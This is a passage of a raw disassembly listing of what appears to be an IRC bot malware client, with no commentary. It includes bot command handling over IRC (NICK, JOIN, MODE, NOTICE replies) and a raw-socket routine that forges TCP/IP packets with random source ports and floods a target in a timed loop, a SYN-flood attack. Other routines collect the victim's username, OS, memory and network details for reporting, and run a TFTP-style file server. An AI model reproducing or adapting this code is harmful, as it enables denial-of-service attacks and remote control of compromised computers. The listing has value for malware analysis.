; ---------------------------------------------------------------------------
loc_40B114: ; CODE XREF: sub_4077FD+3904j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C8]
push eax
push offset unk_41F8B0
loc_40B129: ; CODE XREF: sub_4077FD+2CCBj
; sub_4077FD+3207j ...
lea eax, [ebp+var_2E4]
push eax
call sub_40C6C3
loc_40B135: ; CODE XREF: sub_4077FD+38DDj
add esp, 0Ch
jmp loc_409BB9
; ---------------------------------------------------------------------------
loc_40B13D: ; CODE XREF: sub_4077FD+BAFj
; sub_4077FD+BC4j
push [ebp+var_A0]
push offset dword_41F85C
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz short loc_40B19B
call sub_40C225
push ebx
call dword_418074 ; ExitProcess
loc_40B15F: ; CODE XREF: sub_4077FD+B85j
; sub_4077FD+B9Aj
push [ebp+edi+var_A0]
xor eax, eax
cmp [ebp+var_8C0], bl
setnz al
push eax
lea eax, [ebp+var_5A8]
push dword_41DE58
push eax
call sub_406777
lea eax, [ebp+var_5A8]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40450F
add esp, 1Ch
loc_40B19B: ; CODE XREF: sub_4077FD+614j
; sub_4077FD+620j ...
mov eax, [ebp+arg_24]
jmp loc_407C53
; ---------------------------------------------------------------------------
loc_40B1A3: ; CODE XREF: sub_4077FD+6A1j
; sub_4077FD+6B6j
mov edi, [ebp+edi+var_A0]
cmp edi, ebx
mov [ebp+arg_10], edi
jz loc_407C50
cmp [ebp+var_A8], ebx
jnz loc_407C50
push offset asc_41F920 ; "!"
push [ebp+var_A4]
call sub_40E6E9
mov edi, eax
push offset dword_4242EC
push ebx
inc edi
call sub_40E6E9
push offset asc_41E518 ; "~"
push eax
call sub_40E6E9
push [ebp+arg_10]
mov esi, eax
push offset aSock ; "sock"
call sub_40D860
add esp, 20h
test eax, eax
jz short loc_40B24B
lea eax, [ebp+var_C8]
push esi
push eax
lea eax, [ebp+var_C8]
push eax
push offset aNoticeSFailedS ; "NOTICE %s :FAILED (%s!%s).\r\n"
push [ebp+arg_4]
call sub_40450F
lea eax, [ebp+var_C8]
push eax
push offset aNoticeSFailed_ ; "NOTICE %s :FAILED.\r\n"
push [ebp+arg_4]
call sub_40450F
push esi
push edi
push offset unk_41E4B0
loc_40B237: ; CODE XREF: sub_4077FD+3AA7j
lea eax, [ebp+var_2E4]
push eax
call sub_40C6C3
add esp, 30h
jmp loc_409BDA
; ---------------------------------------------------------------------------
loc_40B24B: ; CODE XREF: sub_4077FD+3A01j
mov [ebp+arg_24], ebx
loc_40B24E: ; CODE XREF: sub_4077FD+3A6Ej
mov eax, [ebp+arg_24]
push esi
push off_41DF5C[eax]
call sub_40C3B5
pop ecx
test eax, eax
pop ecx
jnz short loc_40B2A6
add [ebp+arg_24], 4
cmp [ebp+arg_24], 4
jb short loc_40B24E
lea eax, [ebp+var_C8]
push esi
push eax
lea eax, [ebp+var_C8]
push eax
push offset aNoticeSFailedS ; "NOTICE %s :FAILED (%s!%s).\r\n"
push [ebp+arg_4]
call sub_40450F
lea eax, [ebp+var_C8]
push eax
push offset aNoticeSFailed_ ; "NOTICE %s :FAILED.\r\n"
push [ebp+arg_4]
call sub_40450F
push esi
push edi
push offset unk_41E480
jmp short loc_40B237
; ---------------------------------------------------------------------------
loc_40B2A6: ; CODE XREF: sub_4077FD+3A64j
mov esi, [ebp+arg_18]
xor edi, edi
loc_40B2AB: ; CODE XREF: sub_4077FD+3ACFj
cmp [esi], bl
jnz short loc_40B2C2
push [ebp+arg_10]
push offset aSock ; "sock"
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz short loc_40B2D3
loc_40B2C2: ; CODE XREF: sub_4077FD+3AB0j
inc edi
add esi, 80h
cmp edi, 2
jl short loc_40B2AB
jmp loc_407C50
; ---------------------------------------------------------------------------
loc_40B2D3: ; CODE XREF: sub_4077FD+3AC3j
shl edi, 7
add edi, [ebp+arg_18]
lea eax, [ebp+var_830]
push 7Fh
push eax
push edi
call sub_40C720
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_407C50
push ebx
push [ebp+var_4]
push offset unk_41E45C
loc_40B2FD: ; CODE XREF: sub_4077FD+33C7j
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
jmp loc_407C50
; ---------------------------------------------------------------------------
loc_40B313: ; CODE XREF: sub_4077FD+1F9j
; sub_4077FD+20Ej
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_40450F
push offset aXi ; "+xi"
push [ebp+arg_10]
push offset aModeSS ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_40450F
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40450F
add esp, 2Ch
mov dword_481D58, esi
jmp loc_409BEA
sub_4077FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B359 proc near ; DATA XREF: sub_4077FD+22FEo
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_190 = byte ptr -190h
var_110 = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 85h
mov esi, eax
lea edi, [ebp+var_214]
rep movsd
mov dword ptr [eax+210h], 1
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_190]
push eax
lea eax, [ebp+var_210]
push eax
call sub_40B6A6
push eax
lea eax, [ebp+var_414]
push offset dword_41F92C
push eax
call sub_40C6C3
xor esi, esi
add esp, 18h
cmp [ebp+var_8], esi
jnz short loc_40B3D6
push esi
lea eax, [ebp+var_414]
push [ebp+var_C]
push eax
lea eax, [ebp+var_90]
push eax
push [ebp+var_214]
call sub_404555
add esp, 14h
loc_40B3D6: ; CODE XREF: sub_40B359+5Bj
lea eax, [ebp+var_414]
push eax
call sub_403145
push [ebp+var_10]
call sub_40C378
pop ecx
pop ecx
push esi
call dword_418050 ; ExitThread
pop edi
pop esi
sub_40B359 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B3F5 proc near ; CODE XREF: sub_40B6A6+3Cp
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_42D7FC ; WSAStartup
test eax, eax
jz short loc_40B435
xor eax, eax
jmp loc_40B679
; ---------------------------------------------------------------------------
loc_40B435: ; CODE XREF: sub_40B3F5+37j
xor edi, edi
inc edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_42D918 ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_40B671
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_42D858 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_40B667
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_40CC40
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_42D878 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_42D878 ; htons
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_42D878 ; htons
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_42D878 ; htons
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
call dword_418070 ; QueryPerformanceFrequency
lea eax, [ebp+var_8]
push eax
call dword_41806C ; QueryPerformanceCounter
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_40DDE0
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_40B520: ; CODE XREF: sub_40B3F5+25Dj
; sub_40B3F5+269j
mov [ebp+var_24], bx
call sub_40CB5F
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_42D878 ; htons
mov [ebp+var_34], ax
call sub_40CB5F
mov edi, eax
shl edi, 10h
call sub_40CB5F
or edi, eax
push edi
call dword_42D878 ; htons
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_42D874 ; htonl
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_42D878 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_40C820
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call near ptr sub_40C820
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_405935
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_40C820
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call near ptr sub_40C820
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_40CC40
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_405935
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call near ptr sub_40C820
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_42D8D8 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_40B67D
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call dword_41806C ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_40B664
jl loc_40B520
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jb loc_40B520
loc_40B664: ; CODE XREF: sub_40B3F5+25Bj
mov ebx, [ebp+arg_8]
loc_40B667: ; CODE XREF: sub_40B3F5+78j
; sub_40B3F5+2AFj
push [ebp+var_C]
call dword_42D90C ; closesocket
pop esi
loc_40B671: ; CODE XREF: sub_40B3F5+5Bj
call dword_42D7E4 ; WSACleanup
mov eax, ebx
loc_40B679: ; CODE XREF: sub_40B3F5+3Bj
pop edi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40B67D: ; CODE XREF: sub_40B3F5+247j
call dword_42D814 ; WSAGetLastError
push eax
lea eax, [ebp+var_F4]
push offset dword_41F958
push eax
call sub_40C6C3
lea eax, [ebp+var_F4]
push eax
call sub_403145
add esp, 10h
jmp short loc_40B667
sub_40B3F5 endp
; =============== S U B R O U T I N E =======================================
sub_40B6A6 proc near ; CODE XREF: sub_40B359+3Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_4057D9
push [esp+10h+arg_4]
mov esi, eax
call sub_40D9BF
push [esp+14h+arg_8]
mov ebx, eax
call sub_40D9BF
mov edi, eax
call sub_40CB5F
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_40B3F5
add esp, 1Ch
test eax, eax
jnz short loc_40B6EF
inc eax
loc_40B6EF: ; CODE XREF: sub_40B6A6+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_40B6A6 endp
; =============== S U B R O U T I N E =======================================
sub_40B6FE proc near ; CODE XREF: sub_401000+74p
; sub_4077FD+3365p ...
arg_0 = dword ptr 4
push esi
push edi
call dword_41805C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
xor edx, edx
mov ecx, 15180h
mov esi, 0E10h
push 3Ch
pop edi
sub eax, [esp+8+arg_0]
div ecx
mov ecx, eax
mov eax, edx
xor edx, edx
div esi
mov esi, eax
mov eax, edx
xor edx, edx
div edi
push eax
push esi
push ecx
push offset aDdDhDm ; "%dd %dh %dm"
mov esi, offset dword_481D60
push 32h
push esi
call sub_40D3F7
add esp, 18h
mov eax, esi
pop edi
pop esi
retn
sub_40B6FE endp
; =============== S U B R O U T I N E =======================================
sub_40B751 proc near ; CODE XREF: sub_40B807+290p
push ebx
push esi
push edi
mov edi, 0F4240h
loc_40B759: ; CODE XREF: sub_40B751+2Fj
; sub_40B751+35j
rdtsc
push 3E8h
mov ebx, edx
mov esi, eax
call dword_418040 ; Sleep
rdtsc
sub eax, esi
push 0
sbb edx, ebx
push edi
push edx
push eax
call sub_40DE60
mov esi, edx
mov ebx, eax
test esi, esi
ja short loc_40B759
jb short loc_40B788
cmp ebx, edi
ja short loc_40B759
loc_40B788: ; CODE XREF: sub_40B751+31j
push 0
push 64h
push esi
push ebx
call sub_40DED0
mov ecx, edx
push 64h
xor edx, edx
mov edi, eax
test ecx, ecx
pop eax
ja short loc_40B7FB
jb short loc_40B7A7
cmp edi, 50h
jnb short loc_40B7AC
loc_40B7A7: ; CODE XREF: sub_40B751+4Fj
push 4Bh
xor edx, edx
pop eax
loc_40B7AC: ; CODE XREF: sub_40B751+54j
test ecx, ecx
ja short loc_40B7FB
jb short loc_40B7B7
cmp edi, 47h
jnb short loc_40B7BC
loc_40B7B7: ; CODE XREF: sub_40B751+5Fj
push 42h
xor edx, edx
pop eax
loc_40B7BC: ; CODE XREF: sub_40B751+64j
test ecx, ecx
ja short loc_40B7FB
jb short loc_40B7C7
cmp edi, 37h
jnb short loc_40B7CC
loc_40B7C7: ; CODE XREF: sub_40B751+6Fj
push 32h
xor edx, edx
pop eax
loc_40B7CC: ; CODE XREF: sub_40B751+74j
test ecx, ecx
ja short loc_40B7FB
jb short loc_40B7D7
cmp edi, 26h
jnb short loc_40B7DC
loc_40B7D7: ; CODE XREF: sub_40B751+7Fj
push 21h
xor edx, edx
pop eax
loc_40B7DC: ; CODE XREF: sub_40B751+84j
test ecx, ecx
ja short loc_40B7FB
jb short loc_40B7E7
cmp edi, 1Eh
jnb short loc_40B7EC
loc_40B7E7: ; CODE XREF: sub_40B751+8Fj
push 19h
xor edx, edx
pop eax
loc_40B7EC: ; CODE XREF: sub_40B751+94j
test ecx, ecx
ja short loc_40B7FB
jb short loc_40B7F7
cmp edi, 0Ah
jnb short loc_40B7FB
loc_40B7F7: ; CODE XREF: sub_40B751+9Fj
xor eax, eax
xor edx, edx
loc_40B7FB: ; CODE XREF: sub_40B751+4Dj
; sub_40B751+5Dj ...
sub eax, edi
pop edi
sbb edx, ecx
add eax, ebx
adc edx, esi
pop esi
pop ebx
retn
sub_40B751 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B807 proc near ; CODE XREF: sub_4077FD+350Cp
var_968 = byte ptr -968h
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 968h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_4242F0
mov [ebp+var_CC], 94h
call dword_4180E0 ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_40B88E
cmp [ebp+var_C4], ebx
jnz short loc_40B86A
cmp [ebp+var_BC], 1
jnz short loc_40B854
mov [ebp+var_4], offset dword_41D888
loc_40B854: ; CODE XREF: sub_40B807+44j
cmp [ebp+var_BC], 2
jnz loc_40B909
mov [ebp+var_4], offset dword_41D884
jmp short loc_40B8DA
; ---------------------------------------------------------------------------
loc_40B86A: ; CODE XREF: sub_40B807+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_40B87C
mov [ebp+var_4], offset dword_41D880
jmp short loc_40B8D1
; ---------------------------------------------------------------------------
loc_40B87C: ; CODE XREF: sub_40B807+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_40B8CA
mov [ebp+var_4], offset dword_41D87C
jmp short loc_40B8D1
; ---------------------------------------------------------------------------
loc_40B88E: ; CODE XREF: sub_40B807+33j
cmp [ebp+var_C8], 5
jnz short loc_40B8CA
cmp [ebp+var_C4], ebx
jnz short loc_40B8A8
mov [ebp+var_4], offset dword_41D878
jmp short loc_40B8D1
; ---------------------------------------------------------------------------
loc_40B8A8: ; CODE XREF: sub_40B807+96j
cmp [ebp+var_C4], 1
jnz short loc_40B8BA
mov [ebp+var_4], offset dword_41D874
jmp short loc_40B8D1
; ---------------------------------------------------------------------------
loc_40B8BA: ; CODE XREF: sub_40B807+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_40B8D1
loc_40B8CA: ; CODE XREF: sub_40B807+7Cj
; sub_40B807+8Ej
mov [ebp+var_4], offset dword_41D86C
loc_40B8D1: ; CODE XREF: sub_40B807+73j
; sub_40B807+85j ...
cmp [ebp+var_BC], 2
jnz short loc_40B909
loc_40B8DA: ; CODE XREF: sub_40B807+61j
cmp [ebp+var_B8], bl
jz short loc_40B909
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset aSS_1 ; "%s (%s)"
push eax
call sub_40C6C3
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_40B909: ; CODE XREF: sub_40B807+54j
; sub_40B807+D1j ...
mov ax, word_41BF80
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_42D774
mov [ebp+var_8], 100h
cmp eax, ebx
jz short loc_40B942
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_40B942: ; CODE XREF: sub_40B807+12Cj
push [ebp+arg_4]
call sub_4058DC
pop ecx
push eax
call dword_42D8B4 ; inet_addr
mov [ebp+var_C], eax
push 2
lea eax, [ebp+var_C]
push 4
push eax
call dword_42D834 ; gethostbyaddr
cmp eax, ebx
jz short loc_40B96B
push dword ptr [eax]
jmp short loc_40B970
; ---------------------------------------------------------------------------
loc_40B96B: ; CODE XREF: sub_40B807+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_40B970: ; CODE XREF: sub_40B807+162j
lea eax, [ebp+var_3E4]
push eax
call sub_40C6C3
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call dword_418088 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call dword_418108 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call dword_418104 ; GetTimeFormatA
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_40CC40
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call dword_418100 ; GlobalMemoryStatus
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_40E887
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_968]
push eax
call sub_403913
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_40B6FE
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_4058DC
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_403804
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_403804
pop ecx
pop ecx
push eax
call sub_40B751
push edx
push eax
push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
push 200h
push [ebp+arg_0]
call sub_40D3F7
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_40B807 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BABB proc near ; CODE XREF: sub_4077FD+29CEp
; sub_4077FD+3526p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_40CC40
add esp, 0Ch
cmp dword_42D958, 0
jnz short loc_40BB2F
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_42D75C ; InternetGetConnectedStateEx
test eax, eax
jnz short loc_40BB10
lea eax, [ebp+var_8C]
push offset dword_41FAF0
push eax
call sub_40C6C3
pop ecx
pop ecx
loc_40BB10: ; CODE XREF: sub_40BABB+40j
test [ebp+var_C], 1
lea eax, [ebp+var_8]
jz short loc_40BB28
push offset dword_41FAE8
loc_40BB1E: ; CODE XREF: sub_40BABB+72j
push eax
call sub_40C6C3
pop ecx
pop ecx
jmp short loc_40BB4E
; ---------------------------------------------------------------------------
loc_40BB28: ; CODE XREF: sub_40BABB+5Cj
push offset dword_41FAE4
jmp short loc_40BB1E
; ---------------------------------------------------------------------------
loc_40BB2F: ; CODE XREF: sub_40BABB+28j
mov esi, offset off_41FAE0
lea eax, [ebp+var_8]
push esi
push eax
call sub_40C6C3
lea eax, [ebp+var_8C]
push esi
push eax
call sub_40C6C3
add esp, 10h
loc_40BB4E: ; CODE XREF: sub_40BABB+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_4058DC
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h
push [ebp+arg_0]
call sub_40D3F7
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_40BABB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB81 proc near ; CODE XREF: sub_40BB81:loc_40C056p
; DATA XREF: sub_401141+104o ...
var_884 = dword ptr -884h
var_880 = dword ptr -880h
var_780 = byte ptr -780h
var_580 = byte ptr -580h
var_57F = byte ptr -57Fh
var_57E = byte ptr -57Eh
var_57D = byte ptr -57Dh
var_57C = byte ptr -57Ch
var_37C = dword ptr -37Ch
var_378 = byte ptr -378h
var_274 = byte ptr -274h
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_D8 = byte ptr -0D8h
var_D7 = byte ptr -0D7h
var_D6 = byte ptr -0D6h
var_D5 = byte ptr -0D5h
var_58 = byte ptr -58h
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
mov esi, offset aOctet ; "octet"
lea edi, [ebp+var_1C]
movsd
movsw
xor ebx, ebx
xor eax, eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_37C]
push ebx
inc eax
push 2
rep movsd
inc [ebp+var_16C]
push 2
mov [ebp+var_C], eax
mov [edx+2A0h], eax
call dword_42D8F4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_40BC44
push 190h
call dword_418040 ; Sleep
call dword_42D814 ; WSAGetLastError
push eax
lea eax, [ebp+var_780]
push offset unk_41FB94
push eax
call sub_40C6C3
add esp, 0Ch
cmp [ebp+var_E0], ebx
jnz short loc_40BC24
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_404555
add esp, 14h
loc_40BC24: ; CODE XREF: sub_40BB81+7Ej
lea eax, [ebp+var_780]
push eax
call sub_403145
push [ebp+var_170]
call sub_40C378
pop ecx
pop ecx
push ebx
call dword_418050 ; ExitThread
loc_40BC44: ; CODE XREF: sub_40BB81+50j
mov eax, [ebp+var_170]
push 10h
imul eax, 234h
push ebx
mov dword_42F414[eax], edi
lea eax, [ebp+var_44]
push eax
call sub_40CC40
add esp, 0Ch
mov [ebp+var_44], 2
push [ebp+var_168]
call dword_42D878 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+var_44]
push 10h
push eax
push edi
mov [ebp+var_40], ebx
call dword_42D8A4 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_40BCA9
push 1388h
call dword_418040 ; Sleep
dec [ebp+var_16C]
push [ebp+arg_0]
jmp loc_40C056
; ---------------------------------------------------------------------------
loc_40BCA9: ; CODE XREF: sub_40BB81+10Dj
lea eax, [ebp+var_378]
push offset dword_41BD40
push eax
call sub_40DDC8
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jnz short loc_40BD27
push 190h
call dword_418040 ; Sleep
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_780]
push offset unk_41FB6C
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_404555
lea eax, [ebp+var_780]
push eax
call sub_403145
push [ebp+var_170]
call sub_40C378
add esp, 28h
push ebx
call dword_418050 ; ExitThread
loc_40BD27: ; CODE XREF: sub_40BB81+140j
mov esi, 200h
loc_40BD2C: ; CODE XREF: sub_40BB81+48Fj
mov eax, [ebp+arg_0]
cmp [eax+2A0h], ebx
jz loc_40C016
mov [ebp+var_880], edi
mov edi, 80h
push edi
lea eax, [ebp+var_D8]
push ebx
push eax
mov [ebp+var_34], 5
mov [ebp+var_30], 1388h
mov [ebp+var_884], 1
call sub_40CC40
add esp, 0Ch
lea eax, [ebp+var_34]
push eax
push ebx
lea eax, [ebp+var_884]
push ebx
push eax
push ebx
call dword_42D860 ; select
test eax, eax
jle loc_40C00A
mov al, byte_4242F0
mov ecx, edi
mov [ebp+var_580], al
xor eax, eax
lea edi, [ebp+var_57F]
mov [ebp+var_4], 10h
rep stosd
stosw
stosb
mov edi, [ebp+var_10]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
lea eax, [ebp+var_D8]
push 80h
push eax
push edi
call dword_42D850 ; recvfrom
push [ebp+var_28]
